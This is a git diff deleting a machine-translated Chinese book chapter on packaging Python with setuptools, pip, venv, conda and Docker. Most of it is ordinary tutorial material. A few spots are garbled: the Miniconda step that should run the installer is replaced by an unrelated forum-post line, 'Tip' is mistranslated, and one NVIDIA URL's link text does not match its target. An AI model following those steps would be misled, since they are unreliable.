只有最后一个组件(选择系统休眠状态)需要您编写一些代码,以允许最终用户进入和退出该状态。 - -本书的下一部分是关于编写嵌入式应用的。 我们将从打包和部署 Python 代码开始 -,并更深入地研究我们在评估 Balena 时在[*第 10 章*](10.html#_idTextAnchor278),*在现场更新软件*中介绍的集装化技术。 - -# 进一步阅读 - -* *高级配置和电源接口规范*,UEFI 论坛, - 公司:[https://uefi.org/sites/default/files/resources/ACPI_Spec_6_4_Jan22.pdf](https://uefi.org/sites/default/files/resources/ACPI_Spec_6_4_Jan22.pdf) \ No newline at end of file diff --git a/docs/master-emb-linux-prog/16.md b/docs/master-emb-linux-prog/16.md deleted file mode 100644 index 7d5fd2ce..00000000 --- a/docs/master-emb-linux-prog/16.md +++ /dev/null @@ -1,1021 +0,0 @@ -# 十六、打包 Python - -**Python**是机器学习最流行的编程语言。 再加上我们日常生活中机器学习的激增,在边缘设备上运行 Python 的愿望越来越强烈也就不足为奇了。 即使在这个转换程序和 WebAssembly 的时代,打包要部署的 Python 应用仍然是一个未解决的问题。 在本章中,您将了解将 Python 模块捆绑在一起有哪些选择,以及何时使用一种方法而不是另一种方法。 - -我们首先回顾一下当今 Python 打包解决方案的起源,从内置标准`distutils`到它的继任者`setuptools`。 接下来,我们先研究`pip`包管理器,然后转到适用于 Python 虚拟环境的`venv`,然后是主流的通用跨平台解决方案`conda`。 最后,我将向您展示如何使用 Docker 将 Python 应用与其用户空间环境捆绑在一起,以便快速部署到云中。 - -由于 Python 是一种解释型语言,因此不能像使用 Go 这样的语言那样将程序编译成独立的可执行文件。 这使得部署 Python 应用变得复杂。 运行 Python 应用需要安装一个 Python 解释器和几个运行时依赖项。 这些要求需要代码兼容,应用才能工作。 这需要对软件组件进行精确的版本控制。 解决这些部署问题就是 Python 打包的意义所在。 - -在本章中,我们将介绍以下主要主题: - -* 追溯 Python 打包的起源 -* 使用`pip`安装 Python 包 -* 使用`venv`管理 Python 虚拟环境 -* 使用`conda`安装预编译二进制文件 -* 使用 Docker 部署 Python 应用 - -# 技术要求 - -要按照示例操作,请确保在基于 Linux 的主机系统上安装了以下软件包: - -* Python:Python3 解释器和标准库 -* `pip`:Python 3 的软件包安装程序 -* `venv`:用于创建和管理轻量级虚拟环境的 Python 模块 -* Miniconda:`conda`包和虚拟环境管理器的最小安装程序 -* Docker:用于在容器内构建、部署和运行软件的工具 - -我推荐本章使用 Ubuntu20.04LTS 或更高版本。 尽管 Ubuntu20.04LTS 运行在 Raspberry Pi4 上,我仍然更喜欢在 x86-64 台式 PC 或笔记本电脑上进行开发。 我选择 Ubuntu 作为我的开发环境,因为发行版维护人员使 Docker 保持最新。 Ubuntu20.04LTS 还附带了已经安装的 Python3 和`pip`,因为 Python 在整个系统中被广泛使用。 不要卸载`python3`,否则会使 Ubuntu 无法使用。 要在 Ubuntu 上安装`venv`,请输入以下命令: - -```sh -$ sudo apt install python3-venv -``` - -重要音符 - -在您读到`conda`一节之前,不要安装 Miniconda,因为它会干扰前面依赖于系统 Python 安装的`pip`练习。 - -现在,让我们安装 Docker。 - -## 获取 Docker - -要在 Ubuntu 20.04 LTS 上安装 Docker,需要完成以下步骤: - -1. 更新程序包存储库: - - ```sh - $ sudo apt update - ``` - -2. 安装 Docker: - - ```sh - $ sudo apt install docker.io - ``` - -3. 启动 Docker 守护进程并使其在引导时启动: - - ```sh - $ sudo systemctl enable --now docker - ``` - -4. 将您自己添加到`docker`组: - - ```sh - $ sudo usermod -aG docker - ``` - -用您用户名替换最后步中的``。 我建议您创建自己的 Ubuntu 用户帐户,而不是使用默认的`ubuntu`用户帐户,后者应该保留用于管理任务。 - -# 追溯 Python 打包的起源 - -Python 打包环境是失败尝试和废弃工具的巨大墓地。 依赖项管理方面的最佳实践经常在 Python 社区内发生变化,今年推荐的解决方案可能在第二年就不可能实现了。 在研究此主题时,请记住查看信息发布的时间,不要相信任何可能过时的建议。 - -大多数 Python 库使用`distutils`或`setuptools`分发,包括在**Python 包索引**(**PyPI**)上找到的所有包。 这两种分发方法都依赖于`setup.py`项目规范文件,Python(**pip**)的**包安装程序使用该规范文件来安装包。 `pip`还可以在安装 -项目后生成或*冻结*精确的依赖项列表。 此可选的`requirements.txt`文件由`pip`与`setup.py`一起使用,以确保项目安装是可重复的。** - -## distutils - -**distutils**是 Python 最初的打包系统。 从 Python2.0 开始,它就包含在 Python 标准库中。 `distutils`提供可由`setup.py`脚本导入的同名 Python 包。 尽管`distutils`仍然与 Python 一起发布,但它缺乏一些基本特性,因此现在极力反对直接使用`distutils`。 `setuptools`已经成为它的首选替代品。 - -虽然`distutils`可能会继续为简单的项目工作,但社区已经离开了。 今天,`distutils`之所以存活下来,主要是因为遗留的原因。 当`distutils`是镇上唯一的游戏时,许多 Python 库首次发布回。 现在将它们移植到`setuptools`需要付出相当大的努力,而且可能会破坏现有用户。 - -## 设置工具 - -**setuptools**通过添加对复杂构造的支持来扩展`distutils`,这些构造使得较大的应用更易于分发。 它已经成为 Python 社区内事实上的打包系统。 与`distutils`类似,`setuptools`提供了一个同名的 Python 包,您可以将其导入到您的`setup.py`脚本中。 `distribute`是`setuptools`的一个雄心勃勃的分支,最终合并回`setuptools 0.7`,巩固了`setuptools`作为 Python 打包的最终选择的地位。 - -`setuptools`引入了名为`easy_install`(现已弃用)的命令行实用程序和名为`pkg_resources`的 Python 包,用于运行时包发现和访问资源文件。 `setuptools`还可以生成作为其他可扩展包(例如,框架和应用)插件的包。 您可以通过在`setup.py`脚本中注册入口点来实现这一点,以便为要导入的另一个主程序包注册入口点。 - -术语*分布*在 Python 上下文中的含义与不同。 发行版是用于发行发行版的包、模块和其他资源文件的版本化存档。 *版本*是在给定时间点拍摄的 Python 项目的版本快照。 更糟糕的是,术语*包*和*分发*超载,经常被 Pythonistas 交替使用。 出于我们的目的,假设发行版是您下载的内容,包是安装和导入的模块。 - -削减一个发行版可能会导致多个发行版,例如一个源代码发行版和一个或多个构建的发行版。 对于不同的平台,可以有不同的构建发行版,例如包含 Windows 安装程序的发行版。 术语*构建的发行版*表示在安装之前不需要任何构建步骤。 这并不一定意味着预编译。 例如,一些构建的分发格式(如**Wheels**(`.whl`))会排除编译后的 Python 文件。 包含编译的扩展的构建发行版称为*二进制发行版*。 - -**扩展模块**是用 C 或 C++编写的 Python 模块。 每个扩展模块向下编译为单个动态加载库,例如 Linux 上的共享对象(`.so`)和 Windows 上的 DLL(`.pyd`)。 这与纯模块形成对比,纯模块必须完全用 Python 编写。 由`setuptools`引入的 Egg(`.egg`)构建的分发格式支持纯模块和扩展模块。 由于当 Python 解释器在运行时导入模块时,Python 源代码(`.py`)文件会向下编译为字节码(`.pyc`)文件,因此您可以看到构建的分发格式(如 Wheels)如何排除预编译的 Python 文件。 - -## setup.py - -假设您正在用 Python 开发一个小程序,可能是查询 -远程 rest API 并将响应数据保存到本地 SQL 数据库的程序。 如何将您的程序及其依赖项打包在一起以进行部署? 首先定义`setuptools`可以用来安装程序的**setup.py**脚本。 使用`setuptools`进行部署是迈向更精细的自动化部署方案的第一步。 - -即使您的程序足够小,可以轻松地放入单个模块中,它也有可能不会保持很长时间。 假设您的程序由名为`follower.py`的单个文件组成,如下所示: - -```sh -$ tree follower -follower -└── follower.py -``` - -然后,您可以通过将`follower.py`拆分为三个单独的模块,并将它们放入也名为`follower`的嵌套目录中,将此模块转换为包: - -```sh -$ tree follower/ -follower/ -└── follower - ├── fetch.py - ├── __main__.py - └── store.py -``` - -`__main__.py`模块是程序开始的地方,因此它主要包含顶级的、面向用户的功能。 `fetch.py`模块包含向远程 rest API 发送 HTTP 请求的函数,`store.py`模块包含将响应数据保存到本地 SQL 数据库的函数。 要将此程序包作为脚本运行,您需要将`-m`选项传递给 Python 解释器,如下所示: - -```sh -$ PYTHONPATH=follower python -m follower -``` - -环境变量`PYTHONPATH`指向目标项目的包目录所在的目录。 `-m`选项后的`follower`参数告诉 Python 运行属于`follower`包的`__main__.py`模块。 在这样的项目目录中嵌套包目录为您的程序成长为一个更大的应用铺平了道路,该应用由多个包组成,每个包都有自己的命名空间。 - -项目的各个部分都已就位后,我们现在可以创建 -一个最小的`setup.py`脚本,`setuptools`可以使用该脚本对其进行打包和部署: - -```sh -from setuptools import setup -setup( - name='follower', - version='0.1', - packages=['follower'], - include_package_data=True, - install_requires=['requests', 'sqlalchemy'] -) -``` - -`install_requires`参数是需要自动安装以使项目在运行时工作的外部依赖项列表。 请注意,在我的示例中,我没有指定需要这些依赖项的哪些版本或从哪里获取它们。 我只要求在外观和行为上与`requests`和`sqlalchemy`相似的库。 像这样将策略与实现分离使您可以轻松地将依赖项的官方 PyPI 版本与您自己的版本互换,以防您需要修复 bug 或添加特性。 在依赖项声明中添加可选的版本说明符是可以的,但在`setup.py`中硬编码分发 URL(如`dependency_links`)原则上是错误的。 - -`packages`参数告诉`setuptools`随项目版本一起分发的树内包。 因为每个包都定义在父项目目录的自己的子目录中,所以在这种情况下提供的唯一包是`follower`。 我在这个发行版中包含了数据文件和我的 Python 代码。 为此,需要将`include_package_data`参数设置为`True`,以便`setuptools`查找`MANIFEST.in`文件并安装其中列出的所有文件。 以下是`MANIFEST.in`文件的内容: - -```sh -include data/events.db -``` - -如果`data`目录包含我们想要包括的数据的嵌套目录,我们可以使用`recursive-include`全局处理所有这些目录及其内容: - -```sh -recursive-include data * -``` - -以下是最终的目录布局: - -```sh -$ tree follower -follower -├── data -│ └── events.db -├── follower -│ ├── fetch.py -│ ├── __init__.py -│ └── store.py -├── MANIFEST.in -└── setup.py -``` - -`setuptools`擅长构建和分发依赖于其他包的 Python 包。 它能够做到这一点,这要归功于入口点和依赖项声明等特性,而这些特性在`distutils`中根本不存在。 `setuptools`可以很好地与`pip`配合使用,并且会定期发布`setuptools`的新版本。 创建控制盘构建分发格式是为了替换`setuptools`最初的鸡蛋格式。 这一努力在很大程度上取得了成功,因为增加了一个广受欢迎的`setuptools`扩展来构建轮子,以及`pip`对安装轮子的巨大支持。 - -# 使用 pip 安装 Python 包 - -现在您了解了如何在`setup.py`脚本中定义项目的依赖项。 但是,如何安装这些依赖项呢? 如何升级依赖项或在找到更好的依赖项时替换它? 您如何决定何时删除不再需要的依赖项是安全的? 管理项目依赖关系是一件棘手的事情。 幸运的是,Python 附带了一个名为**pip**的工具,可以提供帮助,特别是在项目的早期阶段。 - -`pip`最初的 1.0 版本于 2011 年 4 月 4 日发布,几乎与 -Node.js 和`npm`的发布时间相同。 在它成为`pip`之前,该工具被命名为`pyinstall`。 `pyinstall`创建于 2008 年,作为当时与`setuptools`捆绑在一起的`easy_install`的替代方案。 `easy_install`现在已弃用,`setuptools`建议改用`pip`。 - -由于`pip`包含在 Python 安装程序中,并且您可以在系统上安装多个版本的 Python(例如,2.7 和 3.8),因此它有助于了解您运行的是哪个版本的`pip`: - -```sh -$ pip --version -``` - -如果在您的系统上没有找到`pip`可执行文件,这可能意味着您使用的是 Ubuntu 20.04LTS 或更高版本,并且没有安装 Python2.7。 那很好。 在本节的其余部分中,我们只用`pip3`代替`pip`,用`python3`代替`python`: - -```sh -$ pip3 --version -``` - -如果有`python3`但没有`pip3`可执行文件,则按照基于 Debian 的发行版(如 Ubuntu)所示进行安装: - -```sh -$ sudo apt install python3-pip -``` - -`pip`将软件包安装到名为`site-packages`的目录中。 要查找`site-packages`目录的位置,请运行以下命令: - -```sh -$ python3 -m site | grep ^USER_SITE -``` - -重要音符 - -注意,从这里开始显示的`pip3`和`python3`命令只对 Ubuntu 20.04LTS 或更高版本是必需的,它不再随安装了 Python2.7 的版本一起提供。 大多数 Linux 发行版仍然附带`pip`和`python`可执行文件,因此如果您的 Linux 系统已经提供了`pip`和`python`命令,请使用这些命令。 - -要获取系统上已安装的软件包的列表,请使用以下命令: - -```sh -$ pip3 list -``` - -该列表显示`pip`只是另一个 Python 包,因此您可以使用`pip`进行自我升级,但我建议您不要这样做,至少从长远来看不是这样。 我将在下一节介绍虚拟环境时解释原因。 - -要获取安装在`site-packages`目录中的软件包列表,请使用以下命令: - -```sh -$ pip3 list --user -``` - -此列表应该为空或比系统包列表短得多。 - -回到上一节中的示例项目。 `cd`到`setup.py`所在的父`follower`目录。 然后运行以下命令: - -```sh -$ pip3 install --ignore-installed --user . -``` - -`pip`将使用`setup.py`获取`install_requires`声明的包并将其安装到您的`site-packages`目录。 `--user`选项指示`pip`将软件包安装到您的`site-packages`目录中,而不是全局安装。 `--ignore-installed`选项强制`pip`将系统上已经存在的所有必需软件包重新安装到`site-packages`,这样就不会丢失依赖项。 现在再次列出`site-packages`目录中的所有软件包: - -```sh -$ pip3 list --user -Package Version ----------- --------- -certifi 2020.6.20 -chardet 3.0.4 -follower 0.1 -idna 2.10 -requests 2.24.0 -SQLAlchemy 1.3.18 -urllib3 1.25.10 -``` - -这一次,您应该看到`requests`和`SQLAlchemy`都在包列表中。 - -要查看您可能刚刚安装的`SQLAlchemy`软件包的详细信息,请发出以下命令: - -```sh -$ pip3 show sqlalchemy -``` - -显示的详细信息包含`Requires`和`Required-by`字段。 这两个都是相关软件包的列表。 您可以使用这些字段中的值和对`pip show`的连续调用来跟踪项目的依赖关系树。 但是,使用名为`pipdeptree`的命令行工具`pip install`并使用它可能会更容易一些。 - -当`Required-by`字段变为空时,这是一个很好的指示,表明现在可以安全地从系统中卸载软件包。 如果没有其他软件包依赖于已删除软件包的`Requires`字段中的软件包,那么也可以安全地卸载这些软件包。 以下是如何使用`pip`卸载`sqlalchemy`: - -```sh -$ pip3 uninstall sqlalchemy -y -``` - -尾部的`-y`取消确认提示。 要一次卸载多个软件包,只需在`-y`前添加更多软件包名称。 这里省略了`--user`选项,因为`pip`足够智能,可以在全局安装 -软件包时首先从`site-packages`卸载。 - -有时,您需要一个用于某种目的或利用特定技术的包,但您不知道它的名称。 您可以使用`pip`从命令行对 PyPI 执行关键字搜索,但这种方法通常会产生太多结果。 在 PyPI 网站([https://pypi.org/search/](https://pypi.org/search/))上搜索包要容易得多,它允许您按各种分类器过滤结果。 - -## 要求.txt - -`pip install`将安装最新发布的软件包版本,但通常您 -希望安装您知道可以与您的项目代码一起使用的软件包的特定版本。 最终,您会希望升级项目的依赖项。 但是在 -我向您展示如何做到这一点之前,我首先需要向您展示如何使用`pip freeze`来修复 -依赖项。 - -要求文件允许您准确地指定应该为您的项目安装哪些包和版本`pip`。 按照惯例,项目**需求文件**总是命名为`requirements.txt`。 需求文件的内容只是枚举项目依赖项的`pip install`参数列表。 这些依赖项的版本是精确的,因此当有人尝试重新生成和部署您的项目时,不会出现意外情况。 最好将`requirements.txt`文件添加到项目的 repo 中,以确保构建可重现。 - -返回到我们的`follower`项目,既然我们已经安装了所有依赖项并验证了代码可以按预期工作,我们现在就可以冻结`pip`为我们安装的包的最新版本了。 `pip`有一个`freeze`命令,用于输出已安装的软件包及其版本。 您可以将此命令的输出重定向到`requirements.txt`文件: - -```sh -$ pip3 freeze --user > requirements.txt -``` - -现在您有了一个`requirements.txt`文件,克隆您的项目的人员可以使用`-r`选项和需求文件的名称安装它的所有依赖项: - -```sh -$ pip3 install --user -r requirements.txt -``` - -自动生成的需求文件格式默认为精确版本匹配(`==`)。 例如,像`requests==2.22.0`这样的行告诉`pip`要安装的`requests`版本必须正好是 2.22.0。 您还可以在需求文件中使用其他版本说明符,例如最低版本(`>=`)、版本排除(`!=`)和最高版本(`<=`)。 最低版本(`>=`)匹配大于或等于右侧的任何版本。 版本排除(`!=`)匹配除右侧以外的任何版本。 最高版本匹配任何小于或等于右侧的版本。 - -您可以在一行中组合多个版本说明符,使用逗号 -分隔它们: - -```sh -requests >=2.22.0,<3.0 -``` - -当`pip`安装需求文件中指定的包时,默认行为是从 PyPI 获取它们。 您可以通过在`requirements.txt`文件的顶部添加如下行,用替代的 https://pypi.org/simple/包索引的 URL([Python](https://pypi.org/simple/))覆盖 PyPI 的 URL: - -```sh ---index-url http://pypi.mydomain.com/mirror -``` - -站起来并维护您自己的私有 PyPI 镜像所需的努力并不是无关紧要的。 当您需要做的只是修复一个 bug 或向项目依赖项中添加一个特性时,覆盖包源比覆盖整个包索引更有意义。 - -给小费 / 翻倒 / 倾覆 - -NVIDIA Jetson Nano 的 Jetpack SDK 4.3 版基于 Ubuntu 的 18.04 LTS 发行版。 Jetpack SDK 为 Nano 的 NVIDIA Maxwell 128 CUDA 内核增加了广泛的软件支持,如图形处理器驱动程序和其他运行时组件。 您可以使用`pip`从 NVIDIA 的程序包索引为 TensorFlow 安装 -GPU 加速轮: - -`$ pip install --user --extra-index-url` [https://developer.download.nvidia.com/compute/redist/cn/v43](https://developer.download.nvidia.com/compute/redist/jp/v43) `tensorflow-gpu==2.0.0+nv20.1` - -我在前面提到过,在`setup.py`内硬编码分发 URL 是多么错误。 -您可以在需求文件中使用`-e`参数表单覆盖各个 -包源: - -```sh --e git+https://github.com/myteam/flask.git#egg=flask -``` - -在本例中,我指示`pip`从我的团队的 GitHub 分支`pallets/flask.git`获取`flask`包源。 `-e`参数形式还采用 Git 分支名称、提交散列或标记名: - -```sh --e git+https://github.com/myteam/flask.git@master --e git+https://github.com/myteam/flask.git@5142930ef57e2f0ada00248bdaeb95406d18eb7c --e git+https://github.com/myteam/flask.git@v1.0 -``` - -使用`pip`将项目的依赖项升级到发布在 PyPI 上的最新版本非常简单: - -```sh -$ pip3 install --upgrade –user -r requirements.txt -``` - -使用`pip:requirements.txt`验证安装后,确认最新版本的依赖项不会破坏您的项目,然后可以将它们写回需求文件: - -```sh -$ pip3 freeze --user > requirements.txt -``` - -确保冻结没有覆盖需求文件中的任何覆盖或特殊版本 -处理。 撤消所有错误,并将更新后的`requirements.txt`文件提交给版本控制。 - -在某些情况下,升级项目依赖项会导致代码中断。 新的包版本可能会带来与您的项目的倒退或不兼容。 需求文件格式提供了处理这些情况的语法。 假设您一直在项目中使用版本 2.22.0 的`requests`,并且发布了版本 3.0。 根据语义版本控制的实践,递增主版本号表示`requests`的 3.0 版包含对该库 API 的破坏性更改。 您可以这样表达新版本的要求: - -```sh -requests ~= 2.22.0 -``` - -兼容版本说明符(`~=`)依赖于语义版本控制。 兼容表示大于或等于右侧且小于下一个版本主号(例如,`>= 1.1`和`== 1.*`)。 您已经看到我清楚地表达了`requests`的这些相同版本要求,如下所示: - -```sh -requests >=2.22.0,<3.0 -``` - -如果一次只开发一个 Python 项目,这些`pip`依赖项管理技术就可以很好地工作。 但是,您可能会使用同一台计算机同时处理多个 Python 项目,每个项目都可能需要不同版本的 Python 解释器。 对多个项目仅使用`pip`的最大问题是,它会将所有包安装到特定版本的 Python 的同一用户`site-packages`目录中。 这使得将依赖项从一个项目隔离到下一个项目变得非常困难。 - -我们很快就会看到,`pip`与 Docker 很好地结合在一起,可以部署 Python 应用。 您可以将`pip`添加到基于 Buildroot 或 Yocto 的 Linux 映像中,但这只能实现快速的板载实验。 像`pip`这样的 Python 运行时包安装程序不适合于 Buildroot 和 Yocto 环境,在这些环境中,您希望在构建时定义嵌入式 Linux 映像的全部内容。 `pip`在像 Docker 这样的集装箱化环境中工作得很好,在这些环境中,构建时间和运行时之间的界限通常是模糊的。 - -在[*第 7 章*](07.html#_idTextAnchor193),*使用 Yocto*进行开发中,您了解了`meta-python`层中可用的 Python 模块,以及如何为您自己的应用定义自定义层。 您可以使用`pip freeze`生成的`requirements.txt`文件通知从`meta-python`中为您自己的层配方选择从属关系。 Buildroot 和 Yocto 都以系统范围的方式安装 Python 包,因此我们接下来要讨论的虚拟环境技术不适用于嵌入式 Linux 版本。 但是,它们确实使生成准确的`requirements.txt`文件变得更容易。 - -# 使用 venv 管理 Python 虚拟环境 - -**虚拟环境**是自包含的目录树,包含用于特定版本 Python 的 Python 解释器、用于管理项目依赖性的`pip`可执行文件以及本地`site-packages`目录。 在虚拟环境之间切换会使 shell 误以为唯一可用的 Python 和`pip`可执行文件是活动虚拟环境中存在的可执行文件。 最佳实践要求您为每个项目创建不同的虚拟环境。 这种形式的隔离解决了依赖于同一包的不同版本的两个项目的问题。 - -虚拟环境对于 Python 来说并不新鲜。 Python 安装的系统范围的性质决定了它们是必需的。 除了使您能够安装同一软件包的不同版本之外,虚拟环境还为您提供了一种运行多个版本的 Python 解释器的简单方法。 有几个选项可用于管理 Python 虚拟环境。 仅仅两年前还非常流行的工具(`pipenv`)在撰写本文时就已经没用了。 与此同时,出现了一个新的竞争者(`poetry`),Python3 对虚拟环境的内置支持(`venv`)开始被更多人采用。 - -**Venv**自 3.3 版(2012 年发布)以来一直随 Python 提供。 因为它只与 Python3 安装捆绑在一起,所以`venv`与需要 Python2.7 的项目不兼容。 既然对 Python2.7 的支持已于 2020 年 1 月 1 日正式结束,那么 Python3 的限制就不再那么令人担忧了。 `Venv`基于流行的`virtualenv`工具,该工具仍在维护,并且在 PyPI 上可用。 如果您有一个或多个项目由于这样或那样的原因仍然需要 Python2.7,那么您可以使用`virtualenv`而不是`venv`来处理这些项目。 - -默认情况下,`venv`安装系统中找到的最新版本的 Python。 如果您的系统上有多个版本的 Python,您可以通过运行`python3`或在创建每个虚拟环境时想要的任何版本(*Python Tutorial*、[https://docs.python.org/3/tutorial/venv.html](https://docs.python.org/3/tutorial/venv.html))来选择特定的 Python 版本。 使用最新版本的 Python 进行开发通常适用于新开发的项目,但对于大多数遗留软件和企业软件来说是不可接受的。 我们将使用您的 Ubuntu 系统附带的 Python3 版本来创建和使用 -虚拟环境。 - -要创建虚拟环境,首先要确定要将其放在哪里,然后使用目标目录路径将`venv`模块作为脚本运行: - -1. 确保您的 Ubuntu 系统上安装了`venv`: - - ```sh - $ sudo apt install python3-venv - ``` - -2. 为您的项目创建新目录: - - ```sh - $ mkdir myproject - ``` - -3. 切换到新目录: - - ```sh - $ cd myproject - ``` - -4. 在名为`venv`: - - ```sh - $ python3 -m venv ./venv - ``` - - 的子目录中创建虚拟环境 - -现在您已经创建了一个虚拟环境,下面是如何激活和验证它的: - -1. 如果尚未切换到项目目录,请切换到项目目录: - - ```sh - $ cd myproject - ``` - -2. 检查系统的`pip3`可执行文件的安装位置: - - ```sh - $ which pip3 - /usr/bin/pip3 - ``` - -3. 激活项目的虚拟环境: - - ```sh - $ source ./venv/bin/activate - ``` - -4. 检查项目的`pip3`可执行文件的安装位置: - - ```sh - (venv) $ which pip3 - /home/frank/myproject/venv/bin/pip3 - ``` - -5. 列出随虚拟环境一起安装的软件包: - - ```sh - (venv) $ pip3 list - Package Version - ------------- ------- - pip 20.0.2 - pkg-resources 0.0.0 - setuptools 44.0.0 - ``` - -如果从虚拟环境中输入`which pip`命令,您将看到`pip`现在指向与`pip3`相同的可执行文件。 在激活虚拟环境之前,`pip`可能没有指向任何东西,因为 Ubuntu20.04LTS 不再安装 Python2.7。 对于`python`和`python3`也可以这样说。 现在,在虚拟环境中运行`pip`或`python`时,可以省略`3`。 - -接下来,让我们将一个名为`hypothesis`的基于属性的测试库安装到现有的虚拟环境中: - -1. 如果尚未切换到项目目录,请切换到项目目录: - - ```sh - $ cd myproject - ``` - -2. 如果项目的虚拟环境尚未处于活动状态,请重新激活: - - ```sh - $ source ./venv/bin/activate - ``` - -3. 安装`hypothesis`软件包: - - ```sh - (venv) $ pip install hypothesis - ``` - -4. 列出当前安装在虚拟环境中的软件包: - - ```sh - (venv) $ pip list - Package Version - ---------------- ------- - attrs 19.3.0 - hypothesis 5.16.1 - pip 20.0.2 - pkg-resources 0.0.0 - setuptools 44.0.0 - sortedcontainers 2.2.2 - ``` - -请注意,除了`hypothesis`、`attrs`和`sortedcontainers`之外,列表中还添加了两个新的包。 `hypothesis`取决于这两个套餐。 假设您有另一个依赖于版本 18.2.0 而不是版本 19.3.0 的`sortedcontainers`的 Python 项目。 这两个版本将是不兼容的,因此彼此冲突。 虚拟环境允许您安装同一软件包的两个版本, -两个项目的不同版本。 - -您可能已经注意到,退出项目目录并不会停用其虚拟环境。 别担心。 停用虚拟环境非常简单,如下所示: - -```sh -(venv) $ deactivate -$ -``` - -这会将您带回全局系统环境,您必须再次输入`python3`和`pip3`。 现在,您已经了解了开始使用 Python 虚拟环境所需了解的所有内容。 现在使用 Python 进行开发时,在虚拟环境之间创建和切换是很常见的做法。 隔离环境使跨多个项目跟踪和管理依赖项变得更容易。 将 Python 虚拟环境部署到嵌入式 Linux 设备上进行生产意义不大 -,但是仍然可以使用名为`dh-virtualenv`([https://github.com/spotify/dh-virtualenv](https://github.com/spotify/dh-virtualenv))的 Debian 打包工具完成。 - -# 使用 conda 安装预编译二进制文件 - -**Conda**是一个包和虚拟环境管理系统,由 PyData 社区的**Anaconda**发行版软件使用。 蟒蛇发行版包括 Python 以及几个难以构建的开源项目(如 PyTorch 和 TensorFlow)的二进制文件。 `conda`可以在没有非常大的的完整蟒蛇发行版或仍然超过 256MB 的最小的**Miniconda**发行版的情况下安装。 - -尽管它是在`pip`之后不久为 Python 创建的,但`conda`已经演变为 -一个通用的包管理器,如 APT 或 Homebrew。 现在,它可以用来打包和分发任何语言的软件。 因为`conda`下载预编译的二进制文件,所以安装 Python 扩展模块轻而易举。 `conda` -的另一个大卖点是它是跨平台的,完全支持 Linux、MacOS、 -和 Windows。 - -除了包管理,`conda`还是一个成熟的虚拟环境管理器。 `Conda`虚拟环境具有我们期望从 Python`venv`环境中获得的所有好处,甚至更多。 与`venv`类似,`conda`允许您使用`pip`将包从 PyPI 安装到项目的本地`site-packages`目录中。 如果您愿意,您可以使用`conda`自己的包管理功能来安装来自不同频道的包。频道是由蟒蛇和其他软件发行版提供的包提要。 - -## 环境管理 - -与`venv`不同,`conda`的虚拟环境管理器可以轻松地处理多个版本的 Python,包括 Python2.7。您需要在您的 Ubuntu 系统上安装 Miniconda 才能完成以下练习。您希望在虚拟环境中使用 Miniconda 而不是 Anaconda,因为 Anaconda 环境附带了许多预先安装的软件包,其中许多您永远不会需要。Miniconda 环境被精简,如果有必要,您可以轻松地安装 Anaconda 的任何软件包。 - -要在 Ubuntu 20.04 LTS 上安装和更新 Miniconda,请执行以下操作: - -1. 下载 Miniconda: - - ```sh - $ wget https://repo.anaconda.com/miniconda/Miniconda3-latest-Linux-x86_64.sh - ``` - -2. 发帖主题:Re:Колибри0.7.0 -3. 更新根环境中安装的所有软件包: - - ```sh - (base) $ conda update --all - ``` - -全新的 Miniconda 安装附带`conda`和一个根环境,其中包含安装的 Python 解释器和一些基本软件包。 默认情况下,`conda`的根环境的`python`和`pip`可执行文件安装到您的主目录中。`conda`根环境称为`base`。您可以通过发出以下命令来查看其位置以及任何其他可用`conda`环境的位置: - -```sh -(base) $ conda env list -``` - -在创建您自己的`conda`环境之前,请验证此根环境: - -1. 安装 Miniconda 后打开新的 shell。 -2. 检查根环境的`python`可执行文件的安装位置: - - ```sh - (base) $ which python - ``` - -3. 检查 Python 的版本: - - ```sh - (base) $ python --version - ``` - -4. 检查根环境的`pip`可执行文件的安装位置: - - ```sh - (base) $ which pip - ``` - -5. 检查`pip`的版本: - - ```sh - (base) $ pip --version - ``` - -6. 列出根环境中安装的软件包: - - ```sh - (base) $ conda list - ``` - -接下来,创建并使用您自己的名为`py377`的`conda`环境: - -1. 创建名为`py377`: - - ```sh - (base) $ conda create --name py377 python=3.7.7 - ``` - - 的新虚拟环境 -2. 激活您的新虚拟环境: - - ```sh - (base) $ source activate py377 - ``` - -3. 检查您的环境的`python`可执行文件的安装位置: - - ```sh - (py377) $ which python - ``` - -4. 检查 Python 版本是否为 3.7.7: - - ```sh - (py377) $ python --version - ``` - -5. 列出您的环境中安装的软件包: - - ```sh - (py377) $ conda list - ``` - -6. 停用您的环境: - - ```sh - (py377) $ conda deactivate - ``` - -使用`conda`创建安装了 Python 2.7 的虚拟环境就像 -一样简单: - -```sh -(base) $ conda create --name py27 python=2.7.17 -``` - -再次查看您的`conda`环境,查看`py377`和`py27`现在是否出现在列表中: - -```sh -(base) $ conda env list -``` - -最后,让我们删除`py27`环境,因为我们不会使用它: - -```sh -(base) $ conda remove --name py27 –all -``` - -既然您已经了解了如何使用`conda`来管理虚拟环境,那么让我们使用它来管理那些环境中的包。 - -## 套餐管理 - -因为`conda`支持虚拟环境,所以我们可以使用`pip`以隔离的方式管理从一个项目到另一个项目的 Python 依赖关系,就像我们使用`venv`一样。 作为一个通用的包管理器,`conda`拥有自己的管理依赖项的工具。 我们知道,`conda list`列出了`conda`在活动虚拟环境中安装的所有软件包。 我还提到了`conda`对包提要的使用,称为频道: - -1. 您可以通过输入以下命令获取配置为从中提取的通道 URL 列表`conda`: - - ```sh - (base) $ conda info - ``` - -2. 在继续下一步之前,让我们重新激活您在上一个练习中创建的`py377`虚拟环境: - - ```sh - (base) $ source activate py377 - (py377) $ - ``` - -3. 现在大多数 Python 开发都是在 Jupyter 笔记本中进行的,所以让我们先安装这些包: - - ```sh - (py377) $ conda install jupyter notebook - ``` - -4. 提示时输入`y`。 这将安装`jupyter`和`notebook`包以及它们的所有依赖项。 当您输入`conda list`时,您将看到已安装软件包的列表比以前长得多。 现在,让我们再安装一些计算机视觉项目所需的 Python 包: - - ```sh - (py377) $ conda install opencv matplotlib - ``` - -5. 再次出现提示时,输入`y`。 这一次,安装的依赖项数量 - 较少。 `opencv`和`matplotlib`都依赖于`numpy`,因此`conda`会自动安装该软件包,而无需您指定它。 如果要指定旧版本的`opencv`,可以通过以下方式安装所需版本的软件包 - : - - ```sh - (py377) $ conda install opencv=3.4.1 - ``` - -6. 然后,`conda`将尝试*解析*此依赖项的活动环境。 由于此活动虚拟环境中安装的其他包都不依赖于`opencv`,因此目标版本很容易解决。 如果是这样,那么您可能会遇到 - 软件包冲突,重新安装将失败。 解算后,`conda`将在降级`opencv`及其依赖项之前提示您。 输入`y`将`opencv`降级到版本 3.4.1。 -7. 现在,假设您改变了主意,或者发布了更新版本的`opencv`,解决了您以前关心的问题。 